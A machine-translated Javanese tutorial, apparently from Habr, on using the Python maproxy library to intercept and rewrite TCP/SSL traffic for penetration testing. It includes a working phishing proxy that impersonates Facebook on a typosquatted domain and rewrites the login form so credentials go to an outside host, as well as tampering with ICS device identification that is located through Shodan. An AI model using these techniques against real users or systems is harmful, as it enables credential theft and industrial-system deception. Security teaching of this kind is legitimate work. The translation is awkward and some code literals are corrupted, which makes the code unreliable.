Proses data jaringan kanthi cepet

Terjemahan artikel disiapake ing wayah wengi wiwitan kursus "Pentest. Praktek tes penetrasi".

Proses data jaringan kanthi cepet

anotasi

Macem-macem jinis taksiran keamanan, wiwit saka tes penetrasi biasa lan operasi Red Team nganti hacking piranti IoT/ICS lan SCADA, kalebu nggarap protokol jaringan binar, yaiku, nyegat lan ngowahi data jaringan antarane klien lan target. Ngombe lalu lintas jaringan dudu tugas sing angel amarga kita duwe alat kaya Wireshark, Tcpdump utawa Scapy, nanging modifikasi katon dadi tugas sing luwih akeh tenaga kerja amarga kita kudu duwe sawetara antarmuka kanggo maca data jaringan, nyaring, ngganti. iku ing fly lan ngirim bali menyang inang target ing meh wektu nyata. Kajaba iku, luwih becik yen alat kasebut bisa digunakake kanthi otomatis karo macem-macem sambungan paralel lan bisa disesuaikan kanthi nggunakake skrip.

Ing sawijining dina aku nemokake alat sing diarani maproxy, dokumentasi kasebut kanthi cepet nerangake marang aku maproxy – mung apa aku kudu. Iki minangka proxy TCP sing cukup prasaja, serbaguna lan gampang dikonfigurasi. Aku dites alat iki ing sawetara aplikasi cukup Komplek, kalebu piranti ICS (sing generate akeh paket) kanggo ndeleng yen bisa nangani akeh sambungan podo, lan alat nindakake uga.

Artikel iki bakal ngenalake sampeyan ngolah data jaringan kanthi cepet maproxy.

Ringkesan

Instrumen maproxy adhedhasar Tornado, framework jaringan bedo populer lan diwasa ing Python.

Umumé, bisa digunakake ing sawetara mode:

  • TCP:TCP - sambungan TCP sing ora dienkripsi;
  • TCP:SSL и SSL:TCP - kanthi enkripsi siji arah;
  • SSL:SSL - enkripsi rong arah.

Nerangake minangka perpustakaan. Kanggo wiwitan cepet, sampeyan bisa nggunakake conto file sing nggambarake utama fungsi perpustakaan:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kasus 1 - proxy bidirectional prasaja

Adhedhasar tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

standar ProxyServer() njupuk rong argumen - lokasi sambungan lan port target. server.listen() njupuk siji bantahan - port kanggo ngrungokake sambungan mlebu.

Eksekusi skrip:

# python tcp2tcp.py

Kanggo mbukak tes, kita bakal nyambung menyang server SSH lokal liwat skrip proxy, sing ngrungokake 2222/tcp port lan nyambung menyang port standar 22/tcp Server SSH:

Proses data jaringan kanthi cepet

Spanduk sambutan ngandhani yen skrip conto kita wis sukses nggawe proxy lalu lintas jaringan.

Kasus 2 - modifikasi data

Skrip demo liyane logging_proxy.py becik kanggo sesambungan karo data jaringan. Komentar ing file kasebut njlèntrèhaké cara kelas sing bisa diowahi kanggo nggayuh tujuan:

Proses data jaringan kanthi cepet

Sing paling menarik yaiku ing kene:

  • on_c2p_done_read - kanggo nyegat data ing sadawane dalan saka klien menyang server;
  • on_p2s_done_read - mbalikke.

Coba ganti spanduk SSH sing server bali menyang klien:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Jalanake skrip:

Proses data jaringan kanthi cepet

Kaya sing sampeyan ngerteni, klien kasebut kesasar amarga jeneng server SSH kanggo dheweke diganti «DumnySSH».

Proses data jaringan kanthi cepet

Kasus 3 - kaca web phishing prasaja

Ana cara tanpa wates kanggo nggunakake alat iki. Wektu iki ayo fokus ing bab sing luwih praktis saka sisih operasi Red Team. Ayo tiru landing page m.facebook.com lan nggunakake domain khusus kanthi kesalahan ketik sing disengaja, contone, m.facebok.com. Kanggo tujuan demonstrasi, ayo nganggep yen domain kasebut kadhaptar dening kita.

Kita bakal nggawe sambungan jaringan sing ora dienkripsi karo proxy korban lan Stream SSL menyang server Facebook (31.13.81.36). Kanggo nggawe conto iki bisa digunakake, kita kudu ngganti header host HTTP lan nyuntikake jeneng host sing bener, lan uga bakal mateni kompresi respon kanggo ngidini akses gampang menyang isi. Pungkasane, kita bakal ngganti formulir HTML supaya kredensial login dikirim menyang kita tinimbang server Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/jw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Ringkesan:

Proses data jaringan kanthi cepet

Nalika sampeyan bisa ndeleng, kita padha kasil bisa ngganti situs asli.

Kasus 4 – Porting Ethernet/IP

Aku wis dealing karo piranti industri lan piranti lunak (ICS / SCADA) kanggo sawetara wektu, kayata programmable controller (PLC), I / O modul, drive, relay, lingkungan program andha lan akeh liyane. Kasus iki kanggo wong sing seneng barang industri. Hacking solusi kuwi melu aktif muter karo protokol jaringan. Ing conto ing ngisor iki, aku arep nuduhake carane sampeyan bisa ngowahi lalu lintas jaringan ICS/SCADA.

Kanggo iki, sampeyan butuh ing ngisor iki:

  • Jaringan sniffer, contone, Wireshark;
  • Ethernet / IP utawa mung piranti SIP, sampeyan bisa nemokake nggunakake layanan Shodan;
  • Skrip kita adhedhasar maproxy.

Pisanan, ayo goleki apa tanggapan identifikasi khas saka CIP (Common Industrial Protocol) katon kaya:

Proses data jaringan kanthi cepet

Identifikasi piranti ditindakake kanthi nggunakake protokol Ethernet/IP, yaiku versi sing luwih apik saka protokol Ethernet industri sing mbungkus protokol kontrol kayata CIP. Kita bakal ngganti jeneng ID sing disorot sing katon ing gambar "NI-IndComm kanggo Ethernet" nggunakake skrip proxy kita. Kita bisa nggunakake maneh skrip logging_proxy.py lan uga ngowahi cara kelas on_p2s_done_read, amarga kita pengin jeneng identitas sing beda katon ing klien.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ateges, kita njaluk identifikasi piranti kaping pindho, tanggapan sing kapindho yaiku asli, lan sing pertama diowahi kanthi cepet.

Lan pungkasan

Ing mratelakake panemume maproxy Alat sing trep lan prasaja, sing uga ditulis ing Python, mula aku percaya yen sampeyan uga bisa entuk manfaat saka nggunakake. Mesthi, ana alat sing luwih rumit kanggo ngolah lan ngowahi data jaringan, nanging uga mbutuhake perhatian liyane lan biasane digawe kanggo kasus panggunaan tartamtu, f.eks. Muraena, Modlishka utawa evilginx kanggo kasus sing padha karo katelu, utawa canape kanggo kasus pungkasan. Siji cara utawa liyane, kanthi bantuan maproxy sampeyan bisa kanthi cepet ngleksanakake gagasan kanggo nyegat data jaringan, amarga script contone cetha banget.

Nguji mekanisme otentikasi ing Windows AD

Source: www.habr.com

Add a comment